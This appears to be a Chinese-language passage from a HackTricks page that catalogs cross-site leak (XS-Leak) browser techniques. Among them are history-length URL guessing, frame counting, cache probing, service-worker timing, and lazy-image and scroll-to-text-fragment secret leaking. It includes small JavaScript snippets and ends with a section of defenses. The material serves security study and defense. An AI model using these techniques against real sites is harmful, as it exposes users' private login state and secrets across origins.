Web应用程序可以部署COOP响应头部,以防止其他网站获得对应用程序的任意窗口引用。然而,这个头部很容易被检测到,只需尝试读取**contentWindow
引用即可。如果一个站点只在一个状态下部署COOP**,则此属性(opener
)为未定义,否则为已定义。
URL最大长度 - 服务器端
- 包含方法: Fetch API, HTML元素
- 可检测差异: 状态码 / 内容
- 更多信息: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- 摘要: 由于重定向响应长度可能过长,服务器会返回错误并生成警报,因此可以检测到响应差异。
- 代码示例: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
如果服务器端重定向使用了重定向中的用户输入和额外数据。可以通过检测这种行为来判断,因为通常服务器有一个限制请求长度。如果用户数据正好是长度-1,因为重定向使用了该数据并添加了一些额外内容,将会触发一个通过错误事件可检测到的错误。
如果您可以向用户设置cookie,也可以通过设置足够多的cookie(cookie炸弹)来执行此攻击,以便通过正确响应的增加大小触发错误。在这种情况下,请记住,如果您从同一站点触发此请求,<script>
将自动发送cookie(因此您可以检查错误)。
关于cookie炸弹 + XS-Search的示例可以在此解决方案中找到:https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
通常,对于此类攻击,需要使用SameSite=None
或处于相同上下文中。
URL最大长度 - 客户端
- 包含方法: 弹出窗口
- 可检测差异: 状态码 / 内容
- 更多信息: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- 摘要: 检测响应差异,因为重定向响应长度可能过大,从而可以注意到差异。
- 代码示例: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
根据Chromium文档,Chrome的最大URL长度为2MB。
一般来说,_web平台_对URL的长度没有限制(尽管2^31是一个常见的限制)。_Chrome_出于实际原因和避免在进程间通信中引发拒绝服务问题的考虑,将URL限制为最大长度为2MB。
因此,如果重定向URL的响应在某些情况下更大,就有可能使其重定向到一个大于2MB的URL以达到长度限制。当发生这种情况时,Chrome会显示一个**about:blank#blocked
**页面。
显著的差异是,如果重定向已完成,window.origin
会抛出一个错误,因为跨源无法访问该信息。然而,如果达到了限制并且加载的页面是**about:blank#blocked
,窗口的origin
仍然是父级的,这是一种可访问的信息**。
所有需要达到2MB的额外信息可以通过初始URL中的哈希添加,以便在重定向中使用。
{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}
最大重定向次数
- 包含方法: Fetch API, 框架
- 可检测差异: 状态码
- 更多信息: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- 摘要: 滥用重定向限制以检测重定向。
- 代码示例: https://xsinator.com/testing.html#Max%20Redirect%20Leak
如果浏览器的最大重定向次数是20,攻击者可以尝试使用19次重定向加载自己的页面,最后将受害者发送到被测试的页面。如果触发了一个错误,那么页面试图重定向受害者。
历史记录长度
- 包含方法: 框架, 弹出窗口
- 可检测差异: 重定向
- 更多信息: https://xsleaks.dev/docs/attacks/navigations/
- 摘要: JavaScript代码可以操纵浏览器历史记录,并且可以通过长度属性访问。
- 代码示例: https://xsinator.com/testing.html#History%20Length%20Leak
历史记录API允许JavaScript代码操纵浏览器历史记录,它保存了用户访问的页面。攻击者可以使用长度属性作为包含方法:检测JavaScript和HTML导航。
通过检查history.length
,让用户导航到一个页面,将其改回同源,并检查history.length
**的新值。
带有相同URL的历史记录长度
- 包含方法: 框架, 弹出窗口
- 可检测差异: 如果URL与猜测的URL相同
- 摘要: 可以通过滥用历史记录长度来猜测框架/弹出窗口的位置是否在特定URL中。
- 代码示例: 下面
攻击者可以使用JavaScript代码将框架/弹出窗口位置操纵到一个猜测的URL,并立即将其更改为about:blank
。如果历史记录长度增加,这意味着URL是正确的,并且有时间增加,因为如果URL相同,则不会重新加载。如果历史记录长度没有增加,这意味着它尝试加载猜测的URL,但因为我们立即加载了**about:blank
,所以历史记录长度从未增加**当加载猜测的URL时。
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));
win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
帧计数
- 包含方法:帧,弹出窗口
- 可检测差异:页面内容
- 更多信息:https://xsleaks.dev/docs/attacks/frame-counting/
- 摘要:读取帧数(window.length)。
- 代码示例:https://xsinator.com/testing.html#Frame%20Count%20Leak
通过使用iframe
或window.open
打开的网页中的帧数计数可能有助于确定用户在该页面上的状态。此外,如果页面始终具有相同数量的帧数,持续检查帧数可能有助于识别可能泄漏信息的模式。
例如,在Chrome中,可以通过帧计数检测到PDF,因为内部使用了embed
。有一些打开URL参数可以对内容进行一些控制,例如zoom
,view
,page
,toolbar
,这种技术可能会很有趣。
HTMLElements
- 包含方法:HTML元素
- 可检测差异:页面内容
- 更多信息:https://xsleaks.dev/docs/attacks/element-leaks/
- 摘要:读取泄漏的值以区分两种可能的状态
- 代码示例:https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
某些网页可能会根据用户信息动态生成媒体文件或添加更改媒体大小的水印。攻击者可以使用这些HTML元素泄漏的信息来区分可能的状态。
某些HTMLElements会向跨源泄漏一些信息,例如它们的媒体类型:
- HTMLMediaElement泄漏媒体的
duration
和buffered
时间。 - HTMLVideoElement泄漏
videoHeight
和videoWidth
,某些浏览器还可能具有webkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
和webkitDecodedFrameCount
。 - getVideoPlaybackQuality()泄漏
totalVideoFrames
。 - HTMLImageElement泄漏
height
和width
,但如果图像无效,它们将为0,image.decode()
将被拒绝。
CSS属性
- 包含方法:HTML元素
- 可检测差异:页面内容
- 更多信息:https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- 摘要:根据用户状态检测网站样式。
- 代码示例:https://xsinator.com/testing.html#CSS%20Property%20Leak
Web应用程序可能会根据用户的状态更改网站样式。攻击者可以使用HTML链接元素将跨源CSS文件嵌入到攻击者页面中,并将规则应用于攻击者页面。如果页面动态更改这些规则,攻击者可以根据用户状态检测这些差异。
作为一种泄漏技术,攻击者可以使用window.getComputedStyle
方法来读取特定HTML元素的CSS属性。因此,如果已知受影响的元素和属性名称,攻击者可以读取任意CSS属性。
CSS历史
- 包含方法:HTML元素
- 可检测差异:页面内容
- 更多信息:https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- 摘要:检测是否将
:visited
样式应用于URL,指示其已被访问过 - 代码示例:http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
{% hint style="info" %} 根据此处的说法,在无头Chrome中无法正常工作。 {% endhint %}
使用CSS :visited
选择器,可以为已访问的URL应用不同的样式。
以前可以使用getComputedStyle()
来检测此差异,但现在浏览器通过始终返回值,就好像链接已访问过,并限制可以使用选择器应用的样式来阻止这种操作。
因此,可能需要诱使用户点击受CSS影响的区域,可以使用mix-blend-mode
来实现。
还有一些无需用户交互的方法,例如滥用渲染时间,这是因为将链接绘制为不同颜色需要时间。
在一个Chromium报告中提供了一个PoC,它通过使用多个链接来增加时间差异来实现。
ContentDocument X-Frame泄漏
- 包含方法:Frames
- 可检测的差异:Headers
- 更多信息:https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- 摘要:在GC中,当一个页面由于X-Frame-Options不允许嵌入到跨源页面时,会显示错误页面。
- 代码示例:https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
在Chrome中,当一个页面由于X-FrameOptions(XFO)头设置为deny或same-origin而不允许嵌入到跨源页面时,会显示错误页面。对于对象来说,可以通过检查contentDocument
属性来检测到这个错误页面。通常情况下,该属性返回null,因为不允许访问跨源嵌入的文档。然而,由于Chrome对错误页面的渲染,会返回一个空的文档对象。这对于iframes或其他浏览器不起作用。开发人员可能会忘记为所有页面设置X-Frame-Options,尤其是错误页面经常会缺少这个头。作为一种泄漏技术,攻击者可以通过检查它来区分不同的用户状态。
下载检测
- 包含方法:Frames,弹出窗口
- 可检测的差异:Headers
- 更多信息:https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- 摘要:攻击者可以使用iframes来检测下载。如果iframe仍然可访问,则文件已下载。
- 代码示例:https://xsleaks.dev/docs/attacks/navigations/#download-bar
Content-Disposition
头(Content-Disposition: attachment
)指示浏览器是应该下载内容还是内联显示。
如果只有登录用户能够访问将下载文件的页面,因为它使用了该头,那么可以检测到这种行为。
下载栏
在基于Chromium的浏览器中,当下载文件时,下载过程的预览会出现在底部的一个栏中,并与浏览器窗口集成。通过监视窗口高度,攻击者可以检测到是否打开了“下载栏”。
下载导航(使用iframes)
另一种测试Content-Disposition: attachment
头的方法是检查是否发生了导航。如果页面加载导致下载,它不会触发导航,窗口仍停留在同一源。
下载导航(不使用iframes)
与前一种技术相同,只是使用window.open
而不是iframes。
分区HTTP缓存绕过
- 包含方法:弹出窗口
- 可检测的差异:时间
- 更多信息:https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
- 摘要:攻击者可以使用iframes来检测下载。如果iframe仍然可访问,则文件已下载。
- 代码示例:https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass,https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722(来自https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
{% hint style="warning" %}
这就是这个技术有趣的原因:Chrome现在具有缓存分区,新打开的页面的缓存键是:(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)
,但如果我打开一个ngrok页面并在其中使用fetch,缓存键将是:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)
,缓存键不同,因此无法共享缓存。您可以在这里找到更多详细信息:通过分区缓存获得安全性和隐私性
(来自这里的评论)
{% endhint %}
如果一个网站example.com
包含来自*.example.com/resource
的资源,那么该资源将具有与直接通过顶级导航请求资源相同的缓存键。这是因为缓存键由顶级_eTLD+1_和框架_eTLD+1_组成。
由于访问缓存比加载资源更快,可以尝试更改页面的位置,并在停止后的20毫秒(例如)取消。如果原始位置在停止后发生了变化,这意味着资源已被缓存。
或者可以发送一些fetch到可能被缓存的页面,并测量所需的时间。
手动重定向
- 包含方法:Fetch API
- 可检测的差异:重定向
- 更多信息:ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
- 摘要:可以通过fetch请求的响应来判断是否是重定向
- 代码示例:
使用 AbortController 进行 Fetch
- 包含方法: Fetch API
- 可检测的差异: 时间
- 更多信息: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
- 摘要: 可以尝试加载资源并在加载完成之前中断加载。根据是否触发错误,资源是否被缓存。
- 代码示例: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
AbortController
可以与 fetch 和 setTimeout 结合使用,既可以检测资源是否被缓存,又可以从浏览器缓存中清除特定资源。这种技术的一个好处是,在此过程中进行探测时不会缓存新内容。
脚本污染
- 包含方法: HTML 元素 (script)
- 可检测的差异: 页面内容
- 更多信息: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
- 摘要: 当在页面上包含一个跨源脚本时,无法直接读取其内容。然而,如果脚本使用任何内置函数,就可以覆盖它们并读取它们的参数,这可能会泄漏有价值的信息。
- 代码示例: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Service Workers
- 包含方法: 弹出窗口
- 可检测的差异: 页面内容
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
- 摘要: 使用 Service Workers 测量网页的执行时间。
- 代码示例:
- 攻击者在其中一个域名 (attacker.com) 注册一个 Service Worker。
- 在主文档中,攻击者对目标网站发起一个导航 (window.open) 并指示 Service Worker 启动一个计时器。
- 当新窗口开始加载时,攻击者将在步骤 2 中获得的引用导航到由 Service Worker 处理的页面。
- 当在步骤 3 中执行的请求到达 Service Worker 时,它返回一个 204 (无内容) 响应,中止导航。
- 此时,Service Worker 从步骤 2 中启动的计时器中收集一个测量值。这个测量值受 JavaScript 阻塞导航的时间影响。
{% hint style="warning" %} 在执行时间攻击中,可以消除网络因素以获得更精确的测量值。例如,在加载页面之前加载页面使用的资源。 {% endhint %}
Fetch 时间
- 包含方法: Fetch API
- 可检测的差异: 时间 (通常由页面内容、状态码引起)
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
- 摘要: 可以使用 performance.now() API 来测量执行请求所需的时间。也可以使用其他时钟。
- 代码示例: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
跨窗口计时
- 包含方法: 弹出窗口
- 可检测的差异: 时间 (通常由页面内容、状态码引起)
- 更多信息: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
- 摘要: 可以使用 performance.now() API 来测量使用
window.open
执行请求所需的时间。也可以使用其他时钟。 - 代码示例: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
使用 Trickest 可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
使用 HTML 或重新注入
在这里,您可以找到从跨源 HTML 中窃取信息的技术,这些技术在某些情况下很有趣,例如您可以注入 HTML 但无法注入 JS 代码。
悬挂标记
{% content-ref url="dangling-markup-html-scriptless-injection.md" %} dangling-markup-html-scriptless-injection.md {% endcontent-ref %}
图片懒加载
如果您需要窃取内容并且可以在秘密之前添加 HTML,您应该检查常见的悬挂标记技术。
然而,如果由于某种原因您必须逐个字符地执行它(也许通过缓存命中进行通信),您可以使用这个技巧。
HTML 中的图片有一个 "loading" 属性,其值可以是 "lazy"。在这种情况下,图片将在查看时加载,而不是在页面加载时加载:
<img src=/something loading=lazy >
因此,你可以添加大量的垃圾字符(例如成千上万个"W")来填充网页,使其出现在秘密之前,或者添加类似于<br><canvas height="1850px"></canvas><br>
的内容。
然后,如果我们的注入出现在标志之前,图片将会被加载,但如果出现在标志之后,标志加上垃圾字符将阻止其加载(你需要调整垃圾字符的数量)。这就是在这篇文章中发生的情况。
另一种选择是使用scroll-to-text-fragment(如果允许):
Scroll-to-text-fragment
然而,你可以让机器人使用以下方式访问页面
#:~:text=SECR
所以网页将是这样的:https://victim.com/post.html#:~:text=SECR
其中post.html包含攻击者的垃圾字符和延迟加载的图像,然后添加了机器人的秘密。
这段文本的作用是使机器人访问页面中包含文本SECR
的任何文本。由于该文本是秘密,而且它就在图像的下方,只有在猜测的秘密正确时,图像才会加载。因此,你可以通过这种方式逐个字符地泄露秘密。
以下是利用此漏洞的一些代码示例:https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
图像延迟加载的基于时间的攻击
如果无法加载外部图像,以便向攻击者指示图像是否已加载,另一种选择是尝试多次猜测字符并测量时间。如果图像已加载,则所有请求的时间都会比图像未加载时长。这就是在此解决方案的写作中使用的方法 在此总结:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
ReDoS
{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}
CSS ReDoS
如果使用jQuery(location.hash)
,可以通过计时来判断是否存在某些HTML内容,这是因为如果选择器main[id='site-main']
不匹配,则不需要检查其他选择器:
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
CSS注入
{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}
防御措施
在这个部分,你可以找到https://xsinator.com/paper.pdf中推荐的一部分缓解措施,然而,在https://xsleaks.dev/的每个部分中都有更多的缓解措施。请查看那里以获取更多关于如何防御这些技术的信息。
包含方法的缓解措施
- HTML元素。可以使用CORP头部来控制页面是否可以嵌入资源。CORP可以设置为same-origin或same-site,分别阻止对该资源的跨源或跨站点请求。在客户端上,基于Chromium的浏览器使用CORB算法来决定是否允许或拒绝跨源资源请求。
- 框架。防止iframe元素加载HTML资源的主要防御措施是使用X-Frame-Options。另外,CSP指令frame-ancestors也可以达到类似的效果。如果嵌入被拒绝,包含方法无法检测到响应中的差异。
- 弹出窗口。为了限制对
window.opener
的访问,COOP HTTP响应头定义了三个不同的值:unsafe-none(默认值),same-origin-allow-popups和same-origin。这些值可以用于隔离浏览选项卡和弹出窗口,从而缓解基于弹出窗口的泄漏技术。 - JavaScript请求。跨源JavaScript请求经常在XS-Leak攻击中使用,因为攻击者对发出的请求有精细的控制。然而,由于这些请求没有启用CORS,它们受到与由HTML元素发送的请求(如脚本或图像)相同的限制。因此,通过CORP和CORB也可以缓解此泄漏技术的影响。
更通用的方法:
- 获取元数据。这些请求头允许服务器所有者更好地了解用户的浏览器如何引发特定请求。在Chrome中,Sec-Fetch-*头部会自动添加到每个请求中,并提供有关请求来源的元数据。例如,Sec-Fetch-Dest: image表示该请求是由图像元素触发的。Web应用程序可以根据这些信息选择阻止请求。
- Same-Site Cookies。Same-Site cookie标志允许网站声明cookie是否应限制在同一站点或第一方上下文中。所有主要浏览器都支持Same-Site cookies。在GC中,没有该属性的cookie现在默认为Lax。对于XS-Leaks,Same-Site cookies极大地限制了泄漏攻击的可能性。另一方面,依赖于**
window.open
的泄漏技术仍然适用于SameSite=Lax
。使用其他身份验证方法(如客户端证书和HTTP身份验证)的网站仍然存在漏洞**。 - 跨源标识符不可链接性(COIU)。COIU,也称为第一方隔离(FPI),是一种可选的安全功能,用户可以在FF的专家设置(about:config)中启用,最初在Tor浏览器中引入。从抽象的角度来看,它是一个扩展的同一站点上下文。它将多个资源(例如Cookie、缓存、客户端存储)绑定到第一方,而不是在所有访问的网站之间共享它们。如果启用,COIU极大地减少了XS-Leaks的适用性,因为只有使用弹出窗口的方法仍然可以符合策略的第一方要求。
- 跟踪保护。Apple在SA中实施了一种名为**智能跟踪防护(ITP)**的隐私机制,旨在通过限制Cookie和其他Web API的功能来防止跨站点跟踪。在较新的SA版本中,ITP默认情况下阻止所有第三方Cookie,没有任何例外[74]。这种阻止防止了所有不基于弹出窗口的泄漏。FF采用了类似的方法,称为增强跟踪防护(ETP),但它们只阻止属于跟踪提供者的特定第三方Cookie。在XS-Leaks的背景下,ETP只缓解针对这些跟踪域的泄漏技术。
- 浏览器扩展。安全意识较高的用户可以使用浏览器扩展来防止某些包含方法。
泄漏技术的缓解措施
- 事件处理程序。对于基于泄漏技术的XS-Leaks,最有效的缓解措施是全部拒绝它们,但这将破坏互联网上的大多数Web应用程序。因此,我们建议减少可以在事件中收集的必要信息的数量。例如,CSP违规事件不应在blockedURI字段中包含重定向目标URL。这种行为已在FF和较新版本的GC中实现-只有SA仍然存在漏洞。
- 错误消息。为了缓解基于泄漏技术的XS-Leaks,有两个主要要求。首先,错误消息不得包含详细信息,类似于事件处理程序消息。其次,浏览器必须最小化错误消息的出现。XS-Leaks,如SRI错误、ContentDocument XFO或Fetch重定向,会检测是否抛出错误消息。
- 全局限制。修复滥用全局限制的泄漏技术相对复杂,因为它们依赖于物理限制。因此,一般建议是在小的每个站点基础上限制全局限制。如果全局限制为1,例如对于Payment API,攻击者可以在任何时候静默尝试激活WebPayment UI,只有在没有其他选项卡同时使用UI时才成功。我们建议只在使用可信事件时访问Payment API。通过这种方式,除非用户提供同意(例如在对话窗口上进行左键单击),否则全局限制将设置为零。
- 全局状态。任何浏览器全局状态的属性都不应该是可访问的。例如,FF是唯一一个在重定向发生时更新全局状态历史的浏览器,这导致读取history.length。浏览器应该在重定向发生时创建一个新的历史属性,而不是全局存储它。其他示例是共享资源,例如缓存。缓存泄漏滥用浏览器中用于所有打开网站的共享缓存。要完全缓解缓存泄漏技术,HTTP缓存必须在每个站点上进行分区,如SA、GC和FF所实现的那样。请注意,在SA中,iframe不受缓存分区的影响。
- 性能API。我们证明了性能API是一种出色的泄漏技术。在许多XS-Leaks中,我们可以检测到跨源请求的响应是否具有性能条目的差异。为了统一起见,我们建议确保所有请求都必须创建这样的条目,并且只记录跨源请求的正确子集的定时信息。
参考资料
- https://xsinator.com/paper.pdf
- https://xsleaks.dev/
- https://github.com/xsleaks/xsleaks
- https://xsinator.com/
- https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或者 Telegram群组 或者关注我在Twitter上的🐦@carlospolopm.
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}